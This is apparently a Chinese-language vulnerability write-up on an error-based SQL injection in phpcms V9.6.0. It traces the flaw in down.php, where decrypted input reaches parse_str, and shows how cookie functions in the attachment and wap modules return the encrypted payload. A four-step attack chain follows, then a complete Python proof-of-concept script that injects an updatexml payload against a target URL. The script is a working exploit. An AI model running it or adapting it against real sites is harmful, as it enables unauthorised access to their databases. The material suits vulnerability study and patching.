0x01 漏洞分析

漏洞发生在 /Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/content/down.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public function init() {
$a_k = trim($_GET['a_k']);
if(!isset($a_k)) showmessage(L('illegal_parameters'));
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f);
parse_str($a_k);
if(isset($i)) $i = $id = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
$allow_visitor = 1;
$MODEL = getcache('model','commons');
$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id));

$_GET 方法传入 $a_k , 经过sys_auth 解密之后,进入 parse_str,解析到变量中
最后带入到

\$rs = \$this->db->get_one(array(‘id’=>$id)); 进行查询

所以现在如果能找到一个经过sys_auth 并能回显给我payload的地方即可

/Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/attachment/attachments.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}

先经过safe_replace 函数,过滤一遍,然后存入数组,如果不满足条件进入 set_cookie函数

1
2
3
4
5
6
7
8
9
10
11
12
13
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
}
}

可以看到,对传入的value 进行一次sys_auth 然后setcookie,可以在返回包中拿到回显

最后还需要存在一个cookie,让我们不被跳转到main界面
/Applications/MxSrvs/www/phpcms_V9.6.0/install_package/phpcms/modules/wap/index.php

1
2
3
4
function __construct() {		
$this->db = pc_base::load_model('content_model');
$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
param::set_cookie('siteid',$this->siteid);

通过GET方法得到$siteid,然后传到了set_cookie()函数中,满足条件。

攻击链:

  1. 访问 /index.php?m=wap&a=index&siteid=1 。获取响应头的set-Cookie字段。
  2. 将前一步获取到的字段赋值给userid_flash,作为POST参数。访问 /index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=【payload】
  3. 获取返回头的set—Cookie字段,此即为加密后的payload
  4. 访问 /index.php?m=content&c=down&a_k=【加密后的payload】,注入成功。

0x02 Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
# @Time : 2018-12-20 23:24
# @Author : Patrilic
# @FileName: sql_poc.py
# @Software: PyCharm

import requests
import re
import sys


def poc(url):
try:
step1 = url + "/index.php?m=wap&c=index&a=init&siteid=1"
response = requests.get(step1)
post = {
"userid_flash":response.cookies["okuga_siteid"]
}
print("[+] Get Cookie : " + response.cookies["okuga_siteid"])
# 获取cookie,避免登陆失效

step2 = url + "//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26"
response = requests.post(step2, post)
# print(response.cookies)
sqli_payload = response.cookies['okuga_att_json']
print("[+] Get Sqli_poc : " + sqli_payload)
# 获取加密 payload

step3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
response = requests.get(step3)
# print(response.text)
user = re.findall(r'</b>XPATH syntax error:(.*?)<br />', response.text)
# 注入
try:
user[0]
print("[+] Congraduations! This url is Vulnerable! ")
except:
print("[-] Not vulnerable!")

except:
pass

def main():
url = sys.argv[1]
poc(url)



if __name__ == '__main__':
main()